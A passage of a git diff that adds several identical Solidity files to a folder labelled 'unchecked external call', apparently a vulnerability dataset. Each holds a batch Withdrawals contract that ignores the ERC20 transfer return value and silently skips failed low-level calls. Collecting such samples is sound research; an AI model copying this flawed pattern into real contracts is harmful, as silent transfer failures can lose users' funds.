transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40301.sol b/smart_contract_dataset/unchecked external call/40301.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40301.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40304.sol b/smart_contract_dataset/unchecked external call/40304.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40304.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40307.sol b/smart_contract_dataset/unchecked external call/40307.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40307.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40310.sol b/smart_contract_dataset/unchecked external call/40310.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40310.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40315.sol b/smart_contract_dataset/unchecked external call/40315.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40315.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40345.sol b/smart_contract_dataset/unchecked external call/40345.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40345.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40346.sol b/smart_contract_dataset/unchecked external call/40346.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40346.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function 